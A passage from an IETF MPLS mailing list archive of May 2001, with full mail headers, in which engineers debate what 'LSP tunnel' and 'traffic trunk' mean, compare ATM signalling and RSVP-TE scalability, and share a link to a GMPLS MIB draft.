	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA01802
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 13:53:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknlf22991;
	Thu, 3 May 2001 17:52:02 GMT
Received: by mail-control.mail.uu.net 
	id QQknlf22038
	for mpls-outgoing; Thu, 3 May 2001 17:51:25 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknlf21955
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 17:51:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknlf17820
	for <mpls@uu.net>; Thu, 3 May 2001 17:48:56 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQknlf19334
	for <mpls@uu.net>; Thu, 3 May 2001 17:48:56 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f43Hmsn14907
	for <mpls@uu.net>; Thu, 3 May 2001 10:48:55 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id NAA11258 for mpls@uu.net; Thu, 3 May 2001 13:48:53 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknle20051
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 17:36:47 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknle09196
	for <mpls@uu.net>; Thu, 3 May 2001 17:36:21 GMT
Received: from thalia.fm.intel.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns02.fm.intel.com [132.233.247.11])
	id QQknle02645
	for <mpls@uu.net>; Thu, 3 May 2001 17:36:21 GMT
Received: from SMTP (fmsmsxvs01-1.fm.intel.com [132.233.42.201])
	by thalia.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.36 2001/04/18 16:16:02 root Exp $) with SMTP id RAA29982
	for <mpls@uu.net>; Thu, 3 May 2001 17:36:20 GMT
Received: from fmsmsx27.FM.INTEL.COM ([132.233.48.27]) by 132.233.48.201
  (Norton AntiVirus for Internet Email Gateways 1.0) ;
  Thu, 03 May 2001 17:36:18 0000 (GMT)
Received: by fmsmsx27.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <KC6Y1QNH>; Thu, 3 May 2001 10:36:16 -0700
Message-ID: <4148FEAAD879D311AC5700A0C969E89006E18AC5@orsmsx35.jf.intel.com>
From: "Gross, Gerhard" <gerhard.gross@intel.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: terminology
Date: Thu, 3 May 2001 10:36:09 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Sorry, sent previous message prematurely.
Once again...

The definitions "LSP tunnel" in the docs
seem to be somewhat misleading. For example,
section 3.27.3 of RFC 3031 states:

"It is possible to implement a tunnel as a
LSP, and use label switching rather than
network layer encapsulation to cause the
packet to travel through the tunnel. ...
This is called a "LSP Tunnel."

This is standard MPLS as far as I tell.
Why rename it?

Also, section 1 of draft-ietf-mpls-rsvp-lsp-tunnel-08.txt
states:

"Since the traffic that flows along a label-switched path is defined
by the label applied at the ingress node of the LSP, these paths can
be treated as tunnels, tunneling below normal IP routing and
filtering mechanisms.  When an LSP is used in this way we refer to it
as an LSP tunnel."

Again this seems to be just normal use of MPLS.
The text implies that an LSP tunnel is a special
case of MPLS. Is there any other use of MPLS?

Thanks!
Gery

        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
        X                                         X
        X    Gerhard W. Gross, Ph.D.              X
        X    Intel                                X
        X    2111 NE 25th Ave                     X
        X    Hillsboro, OR 97124-5961, USA        X
        X    Internet Infrastructure Arch. Group  X
        X      - Internet and Communication Lab   X
        X    phone:    (503) 264-6389             X
        X    fax:      (503) 264-3483             X
        X    email:    gerhard.gross@intel.com    X
        X                                         X
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX



From owner-mpls@UU.NET  Thu May  3 14:44:52 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA03113
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 14:44:51 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknli09966;
	Thu, 3 May 2001 18:42:41 GMT
Received: by mail-control.mail.uu.net 
	id QQknli16312
	for mpls-outgoing; Thu, 3 May 2001 18:42:07 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknli16301
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 18:42:01 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknli06293
	for <mpls@uu.net>; Thu, 3 May 2001 18:40:52 GMT
Received: from shared1-mail.whowhere.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: shared1-batch.whowhere.com [209.185.123.82])
	id QQknli07796
	for <mpls@uu.net>; Thu, 3 May 2001 18:40:52 GMT
Received: from Unknown/Local ([?.?.?.?]) by shared1-mail.whowhere.com; Thu May  3 11:40:35 2001
To: mpls@UU.NET
Date: Thu, 03 May 2001 11:40:35 -0700
From: "Lyndon Ong" <lyndon_ong@eudoramail.com>
Message-ID: <GJAMGMEDLFIEBBAA@shared1-mail.whowhere.com>
Mime-Version: 1.0
X-Sent-Mail: off
Reply-To: lyndon_ong@eudoramail.com
X-Mailer: MailCity Service
Subject: RE: A fundamental question
X-Sender-Ip: 63.96.78.21
Organization: QUALCOMM Eudora Web-Mail  (http://www.eudoramail.com:80) 
Content-Type: text/plain; charset=us-ascii
Content-Language: en
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


On Thu, 3 May 2001 11:35:08    Naidu, Venkata wrote:
>Hi David
>[snip]
>-> ATM's routing and signaling protocols are closely tied to ATM's
>-> addressing architecture.  These protocols are not based on 
>-> IP, and they
>-> do not scale up to networks the size of the internet.  
>
>No David, These (ATM Signaling/Routing) protocols are very much designed
>to scale for networks as large as 'I'nternet. Esp designed keeping in mind
>with the growth of the Internet & addressing. But they didn't get
>(we didn't give) chance to let them prove.

If you compare PNNI routing vs. OSPF and PNNI setup (Q.2931) vs.
RSVP-TE, I find it also difficult to see some major difference in
scalability.  If anything, RSVP-TE has more scalability problems due
to the refreshes, which people are now trying to fix.

>-> ATM is not an IP protocol.

No argument there :o)  

Cheers,

L. Ong


Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com


From owner-mpls@UU.NET  Thu May  3 15:18:34 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA04592
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 15:18:34 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknll19902;
	Thu, 3 May 2001 19:16:28 GMT
Received: by mail-control.mail.uu.net 
	id QQknll08970
	for mpls-outgoing; Thu, 3 May 2001 19:15:54 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknll08964
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 19:15:48 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknlk02174
	for <mpls@uu.net>; Thu, 3 May 2001 19:14:27 GMT
Received: from mail12.svr.pol.co.uk by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail12.svr.pol.co.uk [195.92.193.215])
	id QQknlk21374
	for <mpls@uu.net>; Thu, 3 May 2001 19:14:26 GMT
Received: from [195.92.67.23] (helo=mail18.svr.pol.co.uk)
	by mail12.svr.pol.co.uk with esmtp (Exim 3.13 #0)
	id 14vOYU-0002dC-00
	for mpls@uu.net; Thu, 03 May 2001 20:14:26 +0100
Received: from modem-40.allards-clownfish.dialup.pol.co.uk ([62.136.212.40] helo=BLIULAPTOP)
	by mail18.svr.pol.co.uk with esmtp (Exim 3.13 #0)
	id 14vOYT-0000uf-00
	for mpls@UU.NET; Thu, 03 May 2001 20:14:25 +0100
Message-ID: <051e01c0d405$29fd3940$101a883e@movaz.com>
From: "Adrian Farrel" <afarrel@movaz.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
References: <01C0D3C3.08AFDB40.srikn@future.futsoft.com> <4.3.2.7.2.20010503133942.0193c1d8@bucket.cisco.com>
Subject: Re: Doubt in mpls-generalized-signaling
Date: Thu, 3 May 2001 15:13:39 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
Sender: owner-mpls@UU.NET
Precedence: bulk

I think the link should read
ftp://ftp-eng.cisco.com/tnadeau/draft-nadeau-gmpls-te-mib-00
.txt
Regards,
Adrian
--
Adrian Farrel
Movaz Networks Inc.
afarrel@movaz.com
----- Original Message -----
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "Adrian Farrel" <afarrel@movaz.com>;
<srikn@future.futsoft.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Sent: Thursday, May 03, 2001 1:43 PM
Subject: Re: Doubt in mpls-generalized-signaling


> At 11:41 AM 5/3/2001 -0400, Adrian Farrel wrote:
> >Hi, Srikanth,
> >
> > > I have few doubts in mpls-generalized-signaling draft.
> > >
> > > 2.) How does an ingress decide about the nature of LSP
to
> >be requested
> > >  (whether unidirectional or Bidirectional)? Is there
any
> >mib object for
> > > this or is it by default Bidirectional if supportable.
> >
> >Yes!
> >
> >Watch out for draft-nadeau-mpls-gmpls-te-mib-00.txt which
> >will be published one day very soon.
>
>          This was sent to the internet-drafts editor
> on Monday. Not sure where it is. In the meantime,
> the MIB is available at:
>
>
ftp://anonymous@ftp-eng.cisco.com/tnadeau/draft-nadeau-gmpls
-te-mib-00.txt
>
>          --Tom
>
>
>
>
>
> >Adrian
> >--
> >Adrian Farrel
> >Movaz Networks Inc.
> >afarrel@movaz.com
>




From owner-mpls@UU.NET  Thu May  3 15:25:47 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA04849
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 15:25:47 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknll27803;
	Thu, 3 May 2001 19:23:37 GMT
Received: by mail-control.mail.uu.net 
	id QQknll09934
	for mpls-outgoing; Thu, 3 May 2001 19:23:02 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknll09915
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 19:22:56 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknll23353
	for <mpls@UU.NET>; Thu, 3 May 2001 19:21:32 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknll06612
	for <mpls@UU.NET>; Thu, 3 May 2001 19:21:32 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA13803
	for <mpls@UU.NET>; Thu, 3 May 2001 15:21:28 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA17387
	for <mpls@UU.NET>; Thu, 3 May 2001 15:21:30 -0400 (EDT)
Message-ID: <3AF1AFB6.14BFE11A@marconi.com>
Date: Thu, 03 May 2001 15:21:26 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Scaling RSVP
References: <GJAMGMEDLFIEBBAA@shared1-mail.whowhere.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Lyndon Ong wrote:
> 
> If anything, RSVP-TE has more scalability problems due to the
> refreshes, which people are now trying to fix.

RSVP-TE, as documented in the lsp-tunnel-08 draft, and RSVP as
documented in RFC 2205 have scalability problems, as you say.

But the solution already exists.  If reliable message delivery (part of
RFC 2961) is used in conjunction with the Hello mechanism (from the
RSVP-TE draft), then refresh intervals may be increased to extremely
long durations (days or weeks if you like) without breaking
functionality.

Of course, both of these features must be active for this to work. 
Without Hellos, you need a short refresh interval in order to detect
soft failures (that is, failures which don't result in a loss of carrier
on the interface).  Without reliable message delivery, you need a short
refresh interval to compensate for any lost packets.

IMO, RSVP-TE with the reliable message delivery extension, should be
scalable to the exact same degree that CR-LDP is.

-- David


From owner-mpls@UU.NET  Thu May  3 15:57:28 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA06669
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 15:57:27 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknln01642;
	Thu, 3 May 2001 19:55:02 GMT
Received: by mail-control.mail.uu.net 
	id QQknln13064
	for mpls-outgoing; Thu, 3 May 2001 19:54:28 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknln13032
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 19:54:15 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknln27167
	for <mpls@UU.NET>; Thu, 3 May 2001 19:52:31 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknln29013
	for <mpls@UU.NET>; Thu, 3 May 2001 19:52:31 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA17097
	for <mpls@UU.NET>; Thu, 3 May 2001 15:52:27 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA28491
	for <mpls@UU.NET>; Thu, 3 May 2001 15:52:27 -0400 (EDT)
Message-ID: <3AF1B6EC.840E30C1@marconi.com>
Date: Thu, 03 May 2001 15:52:12 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: terminology
References: <4148FEAAD879D311AC5700A0C969E89006E18AC5@orsmsx35.jf.intel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

"Gross, Gerhard" wrote:
> 
> The definitions "LSP tunnel" in the docs seem to be somewhat
> misleading. For example, section 3.27.3 of RFC 3031 states:
> 
>     "It is possible to implement a tunnel as a LSP, and use label
>     switching rather than network layer encapsulation to cause the
>     packet to travel through the tunnel. ...
>     This is called a "LSP Tunnel."
> 
> This is standard MPLS as far as I tell.
> Why rename it?

The definition of "tunnel" seems to be different in different documents.

In RSVP-TE, a tunnel is a collection of one or more LSPs that are all
signaled with the same SESSION object.  (Session being defined as the
triplet egress-address, tunnel-ID, and extended-tunnel-ID.)  If extended
tunnel ID is zero, these LSPs may originate from different ingress
routers.  The distinction is important because all LSPs in a single
tunnel will share resources where possible, when an SE-style reservation
is used.

Colloquially, this is the definition I usually use.  I usually say
"tunnel" when I mean a collection of LSPs that share a common
destination.  If I mean a single LSP, I just say "LSP".

But this is not RFC 3031's definition.  RFC 3031 defines a "tunneled
packet" as any packet that is forwarded to a not-directly-attached
router.  A tunnel is defined as any means for making this work.

It then goes on to define three kinds of tunnels, the first two don't
necessarily involve MPLS.

The first is a hop-by-hop routed tunnel.  The data is encapsulated in a
network-layer header that gets it to the next-hop router.  One possible
non-MPLS example of this might be an IP-in-IP tunnel.

The second is an explicitly-routed tunnel.  The data is encapsulated in
a network-layer header that is explicitly routed to the next-hop
router.  One possible non-MPLS example of this might be an ATM PVC.

The third is the LSP tunnel.  The data is labeled and forwarded using
MPLS.

If my understanding is incorrect, hopefully one of the RFC authors will
be able to correct me.

-- David


From owner-mpls@UU.NET  Thu May  3 16:29:59 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA08700
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 16:29:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknlp16668;
	Thu, 3 May 2001 20:27:34 GMT
Received: by mail-control.mail.uu.net 
	id QQknlp05628
	for mpls-outgoing; Thu, 3 May 2001 20:27:00 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknlp05621
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 20:26:57 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknlp13772
	for <mpls@UU.NET>; Thu, 3 May 2001 20:26:23 GMT
Received: from dnsmx1rrc.telcordia.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1rrc.telcordia.com [128.96.20.41])
	id QQknlp04001
	for <mpls@UU.NET>; Thu, 3 May 2001 20:26:23 GMT
Received: from notes870.cc.telcordia.com (notes870.cc.telcordia.com [128.96.244.12])
	by dnsmx1rrc.telcordia.com (8.9.3/8.9.3) with ESMTP id QAA12263;
	Thu, 3 May 2001 16:18:49 -0400 (EDT)
Subject: Re: terminology
To: David Charlap <david.charlap@marconi.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
From: "Anuj Bhatnagar" <abhatnag@telcordia.com>
Date: Thu, 3 May 2001 16:18:48 -0400
Message-ID: <OF42C82310.B79DFEB4-ON85256A41.006E9E07@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes870/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/03/2001 04:18:48 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


If what you are saying is true then what is a Traffic Trunk?

Regards,
Anuj





David Charlap <david.charlap@marconi.com> on 05/03/2001 03:52:12 PM

To:   "'mpls@uu.net'" <mpls@UU.NET>
cc:    (bcc: Anuj Bhatnagar/Telcordia)
Subject:  Re: terminology



"Gross, Gerhard" wrote:
>
> The definitions "LSP tunnel" in the docs seem to be somewhat
> misleading. For example, section 3.27.3 of RFC 3031 states:
>
>     "It is possible to implement a tunnel as a LSP, and use label
>     switching rather than network layer encapsulation to cause the
>     packet to travel through the tunnel. ...
>     This is called a "LSP Tunnel."
>
> This is standard MPLS as far as I tell.
> Why rename it?

The definition of "tunnel" seems to be different in different documents.

In RSVP-TE, a tunnel is a collection of one or more LSPs that are all
signaled with the same SESSION object.  (Session being defined as the
triplet egress-address, tunnel-ID, and extended-tunnel-ID.)  If extended
tunnel ID is zero, these LSPs may originate from different ingress
routers.  The distinction is important because all LSPs in a single
tunnel will share resources where possible, when an SE-style reservation
is used.

Colloquially, this is the definition I usually use.  I usually say
"tunnel" when I mean a collection of LSPs that share a common
destination.  If I mean a single LSP, I just say "LSP".

But this is not RFC 3031's definition.  RFC 3031 defines a "tunneled
packet" as any packet that is forwarded to a not-directly-attached
router.  A tunnel is defined as any means for making this work.

It then goes on to define three kinds of tunnels, the first two don't
necessarily involve MPLS.

The first is a hop-by-hop routed tunnel.  The data is encapsulated in a
network-layer header that gets it to the next-hop router.  One possible
non-MPLS example of this might be an IP-in-IP tunnel.

The second is an explicitly-routed tunnel.  The data is encapsulated in
a network-layer header that is explicitly routed to the next-hop
router.  One possible non-MPLS example of this might be an ATM PVC.

The third is the LSP tunnel.  The data is labeled and forwarded using
MPLS.

If my understanding is incorrect, hopefully one of the RFC authors will
be able to correct me.

-- David






From owner-mpls@UU.NET  Thu May  3 16:53:44 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA09660
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 16:53:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknlr09197;
	Thu, 3 May 2001 20:51:46 GMT
Received: by mail-control.mail.uu.net 
	id QQknlr08218
	for mpls-outgoing; Thu, 3 May 2001 20:51:11 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknlr08193
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 20:50:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknlr12708
	for <mpls@UU.NET>; Thu, 3 May 2001 20:47:50 GMT
Received: from tomp.smb.utfors.se by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: tomp.smb.utfors.se [195.58.112.6])
	id QQknlr24002
	for <mpls@UU.NET>; Thu, 3 May 2001 20:47:49 GMT
Received: from utfors.se ([195.58.105.103]) by
          tomp.smb.utfors.se (Netscape Messaging Server 4.15) with ESMTP
          id GCS1VJ00.133; Thu, 3 May 2001 22:50:07 +0200 
Message-ID: <3AF1C3EE.517575EA@utfors.se>
Date: Thu, 03 May 2001 22:47:42 +0200
From: "Loa Andersson" <loa.andersson@utfors.se>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Anuj Bhatnagar <abhatnag@telcordia.com>
CC: David Charlap <david.charlap@marconi.com>, "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: terminology
References: <OF42C82310.B79DFEB4-ON85256A41.006E9E07@cc.telcordia.com>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr1.ash.ops.us.uu.net id QQknlr09197
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id QAA09660

All,

I agree with David on the use of LSP. I tend to use MPLS tunnel
in contexts where I have a label stack of more than one label,
but ain't religious about it. Alternatively (and including the
first useage) I may use MPLS tunnel for an LSP that I can use
to send labeled or un-labeled packet over (through?) to reach
a certain point in the network and that do not require that I do
a hop-by-hop setup to reach this point.
Traffic Trunk I would prefer to use for something that has a
specific structure (could very well be an MPLS tunnel = LSP).

/Loa

Anuj Bhatnagar wrote:
> 
> If what you are saying is true then what is a Traffic Trunk?
> 
> Regards,
> Anuj
> 
> David Charlap <david.charlap@marconi.com> on 05/03/2001 03:52:12 PM
> 
> To:   "'mpls@uu.net'" <mpls@UU.NET>
> cc:    (bcc: Anuj Bhatnagar/Telcordia)
> Subject:  Re: terminology
> 
> "Gross, Gerhard" wrote:
> >
> > The definitions "LSP tunnel" in the docs seem to be somewhat
> > misleading. For example, section 3.27.3 of RFC 3031 states:
> >
> >     "It is possible to implement a tunnel as a LSP, and use label
> >     switching rather than network layer encapsulation to cause the
> >     packet to travel through the tunnel. ...
> >     This is called a "LSP Tunnel."
> >
> > This is standard MPLS as far as I tell.
> > Why rename it?
> 
> The definition of "tunnel" seems to be different in different documents.
> 
> In RSVP-TE, a tunnel is a collection of one or more LSPs that are all
> signaled with the same SESSION object.  (Session being defined as the
> triplet egress-address, tunnel-ID, and extended-tunnel-ID.)  If extended
> tunnel ID is zero, these LSPs may originate from different ingress
> routers.  The distinction is important because all LSPs in a single
> tunnel will share resources where possible, when an SE-style reservation
> is used.
> 
> Colloquially, this is the definition I usually use.  I usually say
> "tunnel" when I mean a collection of LSPs that share a common
> destination.  If I mean a single LSP, I just say "LSP".
> 
> But this is not RFC 3031's definition.  RFC 3031 defines a "tunneled
> packet" as any packet that is forwarded to a not-directly-attached
> router.  A tunnel is defined as any means for making this work.
> 
> It then goes on to define three kinds of tunnels, the first two don't
> necessarily involve MPLS.
> 
> The first is a hop-by-hop routed tunnel.  The data is encapsulated in a
> network-layer header that gets it to the next-hop router.  One possible
> non-MPLS example of this might be an IP-in-IP tunnel.
> 
> The second is an explicitly-routed tunnel.  The data is encapsulated in
> a network-layer header that is explicitly routed to the next-hop
> router.  One possible non-MPLS example of this might be an ATM PVC.
> 
> The third is the LSP tunnel.  The data is labeled and forwarded using
> MPLS.
> 
> If my understanding is incorrect, hopefully one of the RFC authors will
> be able to correct me.
> 
> -- David

-- 
Loa Andersson
Chief Architect,
Utfors Research, Architecture and Future Lab (URAX)
Utfors AB
Råsundavägen 12
Box 525, 169 29 Solna
Office          +46 8 5270 2000
Office direct   +46 8 5270 5038
Mobile          +46 70 848 5038
Email           loa.andersson@utfors.se
WWW             www.utfors.se


From owner-mpls@UU.NET  Thu May  3 19:42:55 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA15107
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 19:42:55 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknmc19414;
	Thu, 3 May 2001 23:40:51 GMT
Received: by mail-control.mail.uu.net 
	id QQknmc19273
	for mpls-outgoing; Thu, 3 May 2001 23:40:17 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknmc19254
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 23:39:57 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknmc01006
	for <mpls@uu.net>; Thu, 3 May 2001 23:39:30 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknmc15128
	for <mpls@uu.net>; Thu, 3 May 2001 23:39:29 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id TAA00512 for mpls@uu.net; Thu, 3 May 2001 19:39:29 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknmc19057
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 23:35:00 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknmc19366
	for <mpls@UU.NET>; Thu, 3 May 2001 23:34:32 GMT
